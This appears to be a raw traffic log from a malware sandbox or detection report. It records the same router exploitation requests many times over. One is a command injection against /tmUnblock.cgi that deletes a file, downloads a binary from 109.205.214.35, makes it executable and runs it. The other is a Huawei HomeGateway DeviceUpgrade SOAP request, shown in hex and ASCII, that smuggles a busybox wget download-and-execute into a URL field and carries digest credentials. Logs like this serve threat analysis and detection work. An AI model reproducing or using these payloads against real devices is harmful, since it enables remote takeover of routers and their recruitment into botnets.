Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
